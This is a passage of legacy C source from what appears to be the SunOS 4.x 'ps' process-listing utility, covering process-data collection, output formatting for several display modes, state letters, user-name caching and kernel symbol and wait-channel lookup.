  1002.     sp->ap = ap = (struct asav *)calloc(1, sizeof (struct asav));
  1003.     if (ap == NULL) {
  1004.         fprintf(stderr, "ps: out of memory allocating asav\n");
  1005.         exit(1);
  1006.     }
  1007.     sp->ap->a_cmdp = cmdp;
  1008. #define e(a,b) ap->a = mproc->b
  1009.     e(a_flag, p_flag); e(a_stat, p_stat); e(a_nice, p_nice);
  1010.     e(a_uid, p_suid);
  1011.     e(a_pid, p_pid); e(a_pri, p_pri);
  1012.     e(a_slptime, p_slptime); e(a_time, p_time);
  1013.     ap->a_tty[0] = ttyp[0];
  1014.     ap->a_tty[1] = ttyp[1] ? ttyp[1] : ' ';
  1015.     if (ap->a_stat == SZOMB) {
  1016.         ap->a_cpu = 0;
  1017.         ap->a_ttyd = s.s_ttyd;
  1018.     } else {
  1019.         ap->a_size = mproc->p_dsize + mproc->p_ssize;
  1020.         e(a_rss, p_rssize); 
  1021.         ap->a_ttyd = s.s_ttyd;
  1022.         ap->a_cpu = u->u_ru.ru_utime.tv_sec + u->u_ru.ru_stime.tv_sec;
  1023.         if (sumcpu)
  1024.             ap->a_cpu += u->u_cru.ru_utime.tv_sec + u->u_cru.ru_stime.tv_sec;
  1025.         ap->a_start = u->u_start.tv_sec;
  1026.     }
  1027. #undef e
  1028.     ap->a_maxrss = mproc->p_maxrss;
  1029.     if (jflg) {
  1030.         register struct jsav *jp;
  1031.  
  1032.         sp->s_un.jp = jp = (struct jsav *)
  1033.             calloc(1, sizeof (struct jsav));
  1034.         if (jp == NULL) {
  1035.             fprintf(stderr, "ps: out of memory allocating jsav\n");
  1036.             exit(1);
  1037.         }
  1038.  
  1039.         jp->j_ppid = mproc->p_ppid;
  1040.         jp->j_pgrp = mproc->p_pgrp;
  1041.         jp->j_sid = s.s_sid;
  1042.         if (s.s_ttyp) {
  1043.             kvm_read(kvm_des, s.s_ttyp, &jp->j_tpgrp, sizeof(pid_t));
  1044.         }
  1045.         else
  1046.             jp->j_tpgrp = -1;
  1047.     }
  1048.     else if (lflg) {
  1049.         register struct lsav *lp;
  1050.  
  1051.         sp->s_un.lp = lp = (struct lsav *)
  1052.             calloc(1, sizeof (struct lsav));
  1053.         if (lp == NULL) {
  1054.             fprintf(stderr, "ps: out of memory allocating lsav\n");
  1055.             exit(1);
  1056.         }
  1057. #define e(a,b) lp->a = mproc->b
  1058.         e(l_ppid, p_ppid); 
  1059.         e(l_cpu, p_cpu);
  1060.         if (ap->a_stat != SZOMB)
  1061.             e(l_wchan, p_wchan);
  1062. #undef e
  1063.     } else if (vflg) {
  1064.         register struct vsav *vp;
  1065.  
  1066.         sp->s_un.vp = vp = (struct vsav *)
  1067.             calloc(1, sizeof (struct vsav));
  1068.         if (vp == NULL) {
  1069.             fprintf(stderr, "ps: out of memory allocating vsav\n");
  1070.             exit(1);
  1071.         }
  1072. #define e(a,b) vp->a = mproc->b
  1073.         if (ap->a_stat != SZOMB) {
  1074.             e(v_swrss, p_swrss);
  1075.             vp->v_majflt = u->u_ru.ru_majflt;
  1076.         }
  1077.         vp->v_pctcpu = pcpu();
  1078. #undef e
  1079.     } else if (uflg)
  1080.         sp->s_un.u_pctcpu = pcpu();
  1081.  
  1082.     npr++;
  1083. }
  1084.  
  1085. /*
  1086.  * Calculate the percentage of memory to charge to this process.
  1087.  */
  1088. double
  1089. pmem(ap)
  1090.     register struct asav *ap;
  1091. {
  1092.     double fracmem;
  1093.     static int totpages, havepages;
  1094.  
  1095.     /*
  1096.      * Lazy evaluation.
  1097.      */
  1098.     if (havepages == 0) {
  1099.         totpages = (struct page *)getw(nl[X_EPAGES].n_value) -
  1100.             (struct page *)getw(nl[X_PAGES].n_value);
  1101.         havepages = 1;
  1102.     }
  1103.  
  1104.     /*
  1105.      * The second clause guards against nlist botches and such.
  1106.      */
  1107.     if ((ap->a_flag & SLOAD) == 0 || totpages <= 0)
  1108.         fracmem = 0.0;
  1109.     else {
  1110.         /*
  1111.          * Calculate an approximation to the process's
  1112.          * memory consumption.  Background information:
  1113.          * 1) We estimate the total pool of available memory
  1114.          *    by calculating (epages-pages).  When the VM
  1115.          *    system is generalized to support noncontiguous
  1116.          *    physical memory, this will have to change.
  1117.          * 2) This difference is an overestimate, since some
  1118.          *    of these pages can go to the kernel and aren't
  1119.          *    actually available for user processes.
  1120.          * 3) We use ap->a_rss as the measure of the process's
  1121.          *    memory demand.  This neglects all shared segments,
  1122.          *    such as shared libraries.  The rss itself isn't
  1123.          *    particularly accurate either -- this is a deficiency
  1124.          *    of the initial implementation of the new VM system.
  1125.          * 4) We completely neglect u-area pages in the calculations.
  1126.          */
  1127.         fracmem = ((double)ap->a_rss) / totpages;
  1128.     }
  1129.  
  1130.     return (100.0 * fracmem);
  1131. }
  1132.  
  1133. double
  1134. pcpu()
  1135. {
  1136.     time_t time;
  1137.     double p;
  1138.  
  1139.     time = mproc->p_time;
  1140.     if (time == 0 || (mproc->p_flag&SLOAD) == 0)
  1141.         return (0.0);
  1142.     p = (double)mproc->p_pctcpu / FSCALE;
  1143.     if (rawcpu)
  1144.         return (100.0 * p);
  1145.     return (100.0 * p / (1.0 - exp(time * log(ccpu))));
  1146. }
  1147.  
  1148. char *
  1149. getcmd()
  1150. {
  1151.     char **proc_argv = NULL;
  1152.     char **proc_environ = NULL;
  1153.     register char **argp;
  1154.     register char *ap;
  1155.     register char *cp, *ep;
  1156.     register int c;
  1157.     int nbad;
  1158.     char tempbuf[sizeof(u->u_comm)+10];
  1159.  
  1160.     bzero(cmdbuf, twidth+1);
  1161.     if (mproc->p_stat == SZOMB || mproc->p_flag&(SSYS|SWEXIT))
  1162.         return ("");
  1163.     if (cflg) {
  1164.         (void) strncpy(cmdbuf, u->u_comm, sizeof (u->u_comm));
  1165.         return (savestr(cmdbuf));
  1166.     }
  1167.     if (kvm_getcmd(kvm_des, mproc, u, &proc_argv, eflg ? &proc_environ : NULL) < 0) {
  1168.         (void) strcpy(cmdbuf, " (");
  1169.         (void) strncat(cmdbuf, u->u_comm, sizeof (u->u_comm));
  1170.         (void) strcat(cmdbuf, ")");
  1171.     } else {
  1172.         cp = cmdbuf;
  1173.         ep = cmdbuf + twidth;
  1174.         argp = proc_argv;
  1175.         nbad = 0;
  1176.         while (((ap = *argp++) != NULL) && (cp < ep)) {
  1177.             while (((c = (unsigned char)*ap++) != 0) && 
  1178.                                 (cp < ep - 1)) {
  1179.                 if (!isprint(c)) {
  1180.                     if (++nbad >= 5)
  1181.                         break;
  1182.                     *cp = '?';
  1183.                 } else
  1184.                     *cp++ = c;
  1185.             }
  1186.             *cp++ = ' ';
  1187.         }
  1188.         if (eflg) {
  1189.             argp = proc_environ;
  1190.             nbad = 0;
  1191.             while (((ap = *argp++) != NULL) && (cp < ep)) {
  1192.                 while (((c = (unsigned char)*ap++) != 0) && 
  1193.                                   (cp < ep - 1)) {
  1194.                     if (!isprint(c)) {
  1195.                         if (++nbad >= 5)
  1196.                             break;
  1197.                         *cp = '?';
  1198.                     } else
  1199.                         *cp++ = c;
  1200.                 }
  1201.                 *cp++ = ' ';
  1202.             }
  1203.         }
  1204.         *cp = 0;
  1205.         while (*--cp == ' ')
  1206.             *cp = 0;
  1207.         if (*proc_argv == NULL || cmdbuf[0] == '-'
  1208.             || cmdbuf[0] == '?' || cmdbuf[0] <= ' ') {
  1209.             (void) strcpy(tempbuf, " (");
  1210.             (void) strncat(tempbuf, u->u_comm, sizeof(u->u_comm));
  1211.             (void) strcat(tempbuf, ")");
  1212.             (void) strncat(cmdbuf, tempbuf, ep-cp);
  1213.         }
  1214.         if (proc_argv != NULL)
  1215.             free(proc_argv);
  1216.         if (proc_environ != NULL)
  1217.             free(proc_environ);
  1218.     }
  1219.     return (savestr(cmdbuf));
  1220. }
  1221.  
  1222. char    *jhdr =
  1223. " PPID   PID  PGID   SID TT TPGID  STAT   UID  TIME";
  1224. jpr(sp)
  1225.     struct savcom *sp;
  1226. {
  1227.     register struct asav *ap = sp->ap;
  1228.     register struct jsav *jp = sp->s_un.jp;
  1229.     char flg[10];
  1230.     char *s = flg;
  1231.  
  1232.     strcpy(flg, state(ap));
  1233.     for (s=flg; isalpha(*s); s++)
  1234.         ;
  1235.     if (ap->a_flag & SNOCLDSTOP)
  1236.         *s++ = 'C';
  1237.     if (ap->a_flag & SORPHAN)
  1238.         *s++ = 'O';
  1239.     if (ap->a_flag & SEXECED)
  1240.         *s++ = 'E';
  1241.     *s = 0;
  1242.     printf("%5u%6u%6u%6d ", 
  1243.         jp->j_ppid, ap->a_pid, jp->j_pgrp, jp->j_sid);
  1244.     ptty(ap->a_tty);
  1245.     printf("%6d %5s%6d", jp->j_tpgrp, flg, ap->a_uid);
  1246.     ptime(ap);
  1247. }
  1248.  
  1249. char    *lhdr =
  1250. "       F UID   PID  PPID CP PRI NI  SZ  RSS %*s STAT TT  TIME";
  1251. lpr(sp)
  1252.     struct savcom *sp;
  1253. {
  1254.     register struct asav *ap = sp->ap;
  1255.     register struct lsav *lp = sp->s_un.lp;
  1256.  
  1257.     printf("%8x%4d%6u%6u%3d%4d%3d%4d%5d",
  1258.         ap->a_flag, ap->a_uid,
  1259.         ap->a_pid, lp->l_ppid, lp->l_cpu&0377, ap->a_pri-PZERO,
  1260.         ap->a_nice-NZERO, pgtok(ap->a_size), pgtok(ap->a_rss));
  1261.     if (lp->l_wchan == 0)
  1262.         printf(" %*s", wcwidth, "");
  1263.     else if (nflg)
  1264.         printf(" %*x", wcwidth, (int)lp->l_wchan&0xffffffff);
  1265.     else
  1266.         printf(" %*.*s", wcwidth, abs(wcwidth), getchan(lp->l_wchan));
  1267.     printf(" %4.4s ", state(ap));
  1268.     ptty(ap->a_tty);
  1269.     ptime(ap);
  1270. }
  1271.  
  1272. ptty(tp)
  1273.     char *tp;
  1274. {
  1275.  
  1276.     printf("%-2.2s", tp);
  1277. }
  1278.  
  1279. ptime(ap)
  1280.     struct asav *ap;
  1281. {
  1282.  
  1283.     printf("%3ld:%02ld", ap->a_cpu / 60, ap->a_cpu % 60);
  1284. }
  1285.  
  1286. char    *uhdr =
  1287. "%s   PID %%CPU %%MEM   SZ  RSS TT STAT START  TIME";
  1288. upr(sp)
  1289.     struct savcom *sp;
  1290. {
  1291.     register struct asav *ap = sp->ap;
  1292.     char *cp;
  1293.     int vmsize, rmsize;
  1294.  
  1295.     vmsize = pgtok(ap->a_size);
  1296.     rmsize = pgtok(ap->a_rss);
  1297.     if (nflg)
  1298.         printf("%4d ", ap->a_uid);
  1299.     else
  1300.         printf("%-8.8s ", getname(ap->a_uid));
  1301.     printf("%5d%5.1f%5.1f%5d%5d",
  1302.         ap->a_pid, sp->s_un.u_pctcpu, pmem(ap), vmsize, rmsize);
  1303.     putchar(' ');
  1304.     ptty(ap->a_tty);
  1305.     printf(" %4.4s", state(ap));
  1306.     if (ap->a_start == 0)
  1307.         ap->a_start = boottime.tv_sec;
  1308.     cp = ctime(&ap->a_start);
  1309.     if ((now - ap->a_start) > 60*60*24)
  1310.         printf("%.7s", cp+3);
  1311.     else
  1312.         printf("%.6s ", cp+10);
  1313.     ptime(ap);
  1314. }
  1315.  
  1316. /*
  1317.  * Removed 9 columns by zapping the (meaningless in SunOS 4.0) TSIZ and TRS
  1318.  * fields.  Consider using this space to widen currently-cramped columns.
  1319.  */
  1320. char *vhdr =
  1321. "  PID TT STAT  TIME SL RE PAGEIN SIZE  RSS   LIM %CPU %MEM";
  1322. vpr(sp)
  1323.     struct savcom *sp;
  1324. {
  1325.     register struct vsav *vp = sp->s_un.vp;
  1326.     register struct asav *ap = sp->ap;
  1327.  
  1328.     printf("%5u ", ap->a_pid);
  1329.     ptty(ap->a_tty);
  1330.     printf(" %4.4s", state(ap));
  1331.     ptime(ap);
  1332.     printf("%3d%3d%7d%5d%5d",
  1333.        ap->a_slptime > 99 ? 99 : ap-> a_slptime,
  1334.        ap->a_time > 99 ? 99 : ap->a_time, vp->v_majflt,
  1335.        pgtok(ap->a_size), pgtok(ap->a_rss));
  1336.     if (ap->a_maxrss == (RLIM_INFINITY/NBPG))
  1337.         printf("    xx");
  1338.     else
  1339.         printf("%6d", pgtok(ap->a_maxrss));
  1340.     printf("%5.1f%5.1f", vp->v_pctcpu, pmem(ap));
  1341. }
  1342.  
  1343. char    *shdr =
  1344. "  PID TT STAT  TIME";
  1345. spr(sp)
  1346.     struct savcom *sp;
  1347. {
  1348.     register struct asav *ap = sp->ap;
  1349.  
  1350.     printf("%5u", ap->a_pid);
  1351.     putchar(' ');
  1352.     ptty(ap->a_tty);
  1353.     printf(" %4.4s", state(ap));
  1354.     ptime(ap);
  1355. }
  1356.  
  1357. char *
  1358. state(ap)
  1359.     register struct asav *ap;
  1360. {
  1361.     char stat, load, nice, anom;
  1362.     static char res[5];
  1363.  
  1364.     switch (ap->a_stat) {
  1365.  
  1366.     case SSTOP:
  1367.         stat = 'T';
  1368.         break;
  1369.  
  1370.     case SSLEEP:
  1371.         if (ap->a_pri >= PZERO)
  1372.             if (ap->a_slptime >= MAXSLP)
  1373.                 stat = 'I';
  1374.             else
  1375.                 stat = 'S';
  1376.         else if (ap->a_flag & SPAGE)
  1377.             stat = 'P';
  1378.         else
  1379.             stat = 'D';
  1380.         break;
  1381.  
  1382.     case SWAIT:
  1383.     case SRUN:
  1384.     case SIDL:
  1385.         stat = 'R';
  1386.         break;
  1387.  
  1388.     case SZOMB:
  1389.         stat = 'Z';
  1390.         break;
  1391.  
  1392.     default:
  1393.         stat = '?';
  1394.     }
  1395.     load = ap->a_flag & SLOAD ? (ap->a_rss>ap->a_maxrss ? '>' : ' ') : 'W';
  1396.     if (ap->a_nice < NZERO)
  1397.         nice = '<';
  1398.     else if (ap->a_nice > NZERO)
  1399.         nice = 'N';
  1400.     else
  1401.         nice = ' ';
  1402.     anom = (ap->a_flag&SUANOM) ? 'A' : ((ap->a_flag&SSEQL) ? 'S' : ' ');
  1403.     res[0] = stat; res[1] = load; res[2] = nice; res[3] = anom;
  1404.     return (res);
  1405. }
  1406.  
  1407.  
  1408. pscomp(s1, s2)
  1409.     struct savcom *s1, *s2;
  1410. {
  1411.     register int i;
  1412.  
  1413.     if (uflg)
  1414.         return (s2->s_un.u_pctcpu > s1->s_un.u_pctcpu ? 1 : -1);
  1415.     if (vflg)
  1416.         return (vsize(s2) - vsize(s1));
  1417.     i = s1->ap->a_ttyd - s2->ap->a_ttyd;
  1418.     if (i == 0)
  1419.         i = s1->ap->a_pid - s2->ap->a_pid;
  1420.     return (i);
  1421. }
  1422.  
  1423. vsize(sp)
  1424.     struct savcom *sp;
  1425. {
  1426.     register struct asav *ap = sp->ap;
  1427.     register struct vsav *vp = sp->s_un.vp;
  1428.     
  1429.     if (ap->a_flag & SLOAD)
  1430.         return (ap->a_rss);
  1431.     return (vp->v_swrss);
  1432. }
  1433.  
  1434. #include <utmp.h>
  1435.  
  1436. struct    utmp utmp;
  1437. #define    NMAX    (sizeof (utmp.ut_name))
  1438. #define SCPYN(a, b)    strncpy(a, b, NMAX)
  1439.  
  1440. #define NUID    64
  1441.  
  1442. struct ncache {
  1443.     int    uid;
  1444.     char    name[NMAX+1];
  1445. } nc[NUID];
  1446.  
  1447. /*
  1448.  * This function assumes that the password file is hashed
  1449.  * (or some such) to allow fast access based on a uid key.
  1450.  */
  1451. char *
  1452. getname(uid)
  1453. {
  1454.     register struct passwd *pw;
  1455.     struct passwd *getpwent();
  1456.     register int cp;
  1457.  
  1458. #if    (((NUID) & ((NUID) - 1)) != 0)
  1459.     cp = uid % (NUID);
  1460. #else
  1461.     cp = uid & ((NUID) - 1);
  1462. #endif
  1463.     if (uid >= 0 && nc[cp].uid == uid && nc[cp].name[0])
  1464.         return (nc[cp].name);
  1465.     pw = getpwuid(uid);
  1466.     if (!pw)
  1467.         return (0);
  1468.     nc[cp].uid = uid;
  1469.     SCPYN(nc[cp].name, pw->pw_name);
  1470.     return (nc[cp].name);
  1471. }
  1472.  
  1473. char *
  1474. savestr(cp)
  1475.     char *cp;
  1476. {
  1477.     register unsigned len;
  1478.     register char *dp;
  1479.  
  1480.     len = strlen(cp);
  1481.     dp = (char *)calloc(len+1, sizeof (char));
  1482.     if (dp == NULL) {
  1483.         fprintf(stderr, "ps: savestr: out of memory\n");
  1484.         exit(1);
  1485.     }
  1486.     (void) strcpy(dp, cp);
  1487.     return (dp);
  1488. }
  1489.  
  1490. /*
  1491.  * since we can't init unions, the cleanest way to use a.out.h instead
  1492.  * of nlist.h (required since nlist() uses some defines) is to do a
  1493.  * runtime copy into the nl array -- sigh
  1494.  */
  1495. init_nlist()
  1496. {
  1497.     register struct nlist *np;
  1498.     register char **namep;
  1499.  
  1500.     nllen = sizeof nl_names / sizeof (char *);
  1501.     np = nl = (struct nlist *) malloc(nllen * sizeof (struct nlist));
  1502.     if (np == NULL) {
  1503.         fprintf(stderr, "ps: out of memory allocating namelist\n");
  1504.         exit(1);
  1505.     }
  1506.     namep = &nl_names[0];
  1507.     while (nllen > 0) {
  1508.         np->n_un.n_name = *namep;
  1509.         if (**namep == '\0')
  1510.             break;
  1511.         namep++;
  1512.         np++;
  1513.     }
  1514. }
  1515.  
  1516. /*
  1517.  * nlist - retreive attributes from name list (string table version)
  1518.  *         [The actual work is done in _nlist.c]
  1519.  */
  1520. nlist(name, list)
  1521.     char *name;
  1522.     struct nlist *list;
  1523. {
  1524.     register int fd;
  1525.     register int e;
  1526.  
  1527.     fd = open(name, O_RDONLY, 0);
  1528.     e = _nlist(fd, list);
  1529.     close(fd);
  1530.     return (e);
  1531. }
  1532.  
  1533. /*
  1534.  * _nlist - retreive attributes from name list (string table version)
  1535.  *     modified to add wait channels - Charles R. LaBrec 8/85
  1536.  */
  1537. _nlist(fd, list)
  1538.     int fd;
  1539.     struct nlist *list;
  1540. {
  1541.     register struct nlist *p, *q;
  1542.     register int soff;
  1543.     register int stroff = 0;
  1544.     register n, m;
  1545.     int maxlen, nreq;
  1546.     off_t sa;        /* symbol address */
  1547.     off_t ss;        /* start of strings */
  1548.     int type;
  1549.     struct exec buf;
  1550.     struct nlist space[BUFSIZ/sizeof (struct nlist)];
  1551.     char strs[BUFSIZ];
  1552.  
  1553.     maxlen = 0;
  1554.     for (q = list, nreq = 0; q->n_un.n_name && q->n_un.n_name[0]; q++, nreq++) {
  1555.         q->n_type = 0;
  1556.         q->n_value = 0;
  1557.         q->n_desc = 0;
  1558.         q->n_other = 0;
  1559.         n = strlen(q->n_un.n_name);
  1560.         if (n > maxlen)
  1561.             maxlen = n;
  1562.     }
  1563.     if ((fd == -1) || (lseek(fd, 0L, 0) == -1) ||
  1564.         (read(fd, (char*)&buf, sizeof buf) != sizeof buf) || N_BADMAG(buf))
  1565.         return (-1);
  1566.     sa = N_SYMOFF(buf);
  1567.     ss = sa + buf.a_syms;
  1568.     n = buf.a_syms;
  1569.     while (n) {
  1570.         m = MIN(n, sizeof (space));
  1571.         lseek(fd, sa, 0);
  1572.         if (read(fd, (char *)space, m) != m)
  1573.             break;
  1574.         sa += m;
  1575.         n -= m;
  1576.         for (q = space; (m -= sizeof(struct nlist)) >= 0; q++) {
  1577.             soff = q->n_un.n_strx;
  1578.             if (soff == 0 || q->n_type & N_STAB)
  1579.                 continue;
  1580.             /*
  1581.              * since we know what type of symbols we will get,
  1582.              * we can make a quick check here -- crl
  1583.              */
  1584.             type = q->n_type & (N_TYPE | N_EXT);
  1585.             if ((q->n_type & N_TYPE) != N_ABS
  1586.                 && type != (N_EXT | N_DATA)
  1587.                 && type != (N_EXT | N_BSS))
  1588.                 continue;
  1589.  
  1590.             if ((soff + maxlen + 1) >= stroff) {
  1591.                 /*
  1592.                  * Read strings into local cache.
  1593.                  * Assumes (maxlen < sizeof (strs)).
  1594.                  */
  1595.                 lseek(fd, ss+soff, 0);
  1596.                 read(fd, strs, sizeof strs);
  1597.                 stroff = soff + sizeof (strs);
  1598.             }
  1599.             /* if using wchans, add it to the list of channels */
  1600.             if (!nflg && !gotwchans)
  1601.                 addchan(&strs[soff-(stroff-sizeof (strs))+1],
  1602.                     (caddr_t) q->n_value);
  1603.             for (p = list; p->n_un.n_name && p->n_un.n_name[0]; p++) {
  1604.                 if (p->n_type == 0 &&
  1605.                     strcmp(p->n_un.n_name,
  1606.                     &strs[soff-(stroff-sizeof (strs))]) == 0) {
  1607.                     p->n_value = q->n_value;
  1608.                     p->n_type = q->n_type;
  1609.                     p->n_desc = q->n_desc;
  1610.                     p->n_other = q->n_other;
  1611.                     if (--nreq == 0 && (nflg || gotwchans))
  1612.                         goto alldone;
  1613.                     break;
  1614.                 }
  1615.             }
  1616.         }
  1617.     }
  1618. alldone:
  1619.     return (nreq);
  1620. }
  1621.  
  1622. /*
  1623.  * add the given channel to the channel list
  1624.  */
  1625. addchan(name, caddr)
  1626. char *name;
  1627. caddr_t caddr;
  1628. {
  1629.     static int left = 0;
  1630.     register struct wchan *wp;
  1631.     register char **p;
  1632.     register struct wchan_map *mp;
  1633.  
  1634.     for (p = wchan_stop_list; *p; p++) {
  1635.         if (**p != *name)    /* quick check first */
  1636.             continue;
  1637.         if (strncmp(name, *p, WNAMESIZ) == 0)
  1638.             return;        /* if found, don't add */
  1639.     }
  1640.     for (mp = wchan_map_list; mp->map_from; mp++) {
  1641.         if (*(mp->map_from) != *name)    /* quick check first */
  1642.             continue;
  1643.         if (strncmp(name, mp->map_from, WNAMESIZ) == 0)
  1644.             name = mp->map_to;    /* if found, remap */
  1645.     }
  1646.     if (left == 0) {
  1647.         if (wchanhd) {
  1648.             left = 100;
  1649.             wchanhd = (struct wchan *) realloc(wchanhd,
  1650.                 (nchans + left) * sizeof (struct wchan));
  1651.         } else {
  1652.             left = 600;
  1653.             wchanhd = (struct wchan *) malloc(left
  1654.                 * sizeof (struct wchan));
  1655.         }
  1656.         if (wchanhd == NULL) {
  1657.             fprintf(stderr, "ps: out of memory allocating wait channels\n");
  1658.             nflg++;
  1659.             return;
  1660.         }
  1661.     }
  1662.     left--;
  1663.     wp = &wchanhd[nchans++];
  1664.     strncpy(wp->wc_name, name, WNAMESIZ);
  1665.     wp->wc_name[WNAMESIZ] = '\0';
  1666.     wp->wc_caddr = caddr;
  1667. }
  1668.  
  1669. /*
  1670.  * returns the symbolic wait channel corresponding to chan
  1671.  */
  1672. char *
  1673. getchan(chan)
  1674. register caddr_t chan;
  1675. {
  1676.     register i, iend;
  1677.     register char *prevsym;
  1678.     register struct wchan *wp;
  1679.  
  1680.     prevsym = "???";        /* nothing, to begin with */
  1681.     if (chan) {
  1682.         for (i = 0; i < NWCINDEX; i++)
  1683.             if ((unsigned) chan < (unsigned) wchan_index[i])
  1684.                 break;
  1685.         iend = i--;
  1686.         if (i < 0)        /* can't be found */
  1687.             return prevsym;
  1688.         iend *= nchans;
  1689.         iend /= NWCINDEX;
  1690.         i *= nchans;
  1691.         i /= NWCINDEX;
  1692.         wp = &wchanhd[i];
  1693.         for ( ; i < iend; i++, wp++) {
  1694.             if ((unsigned) wp->wc_caddr > (unsigned) chan)
  1695.                 break;
  1696.             prevsym = wp->wc_name;
  1697.         }
  1698.     }
  1699.     return prevsym;
  1700. }
  1701.  
  1702. /*
  1703.  * used in sorting the wait channel array
  1704.  */
  1705. int
  1706. wchancomp (w1, w2)
  1707. struct wchan *w1, *w2;
  1708. {
  1709.     register unsigned c1, c2;
  1710.  
  1711.     c1 = (unsigned) w1->wc_caddr;
  1712.     c2 = (unsigned) w2->wc_caddr;
  1713.     if (c1 > c2)
  1714.         return 1;
  1715.     else if (c1 == c2)
  1716.         return 0;
  1717.     else
  1718.         return -1;
  1719. }
  1720.  
  1721. usage()
  1722. {
  1723.     fprintf(stderr, "ps: usage: ps [-acCegjklnrStuvwxU] [num] [kernel_name] [c_dump_file] [swap_file]\n");
  1724. }
  1725.  
  1726.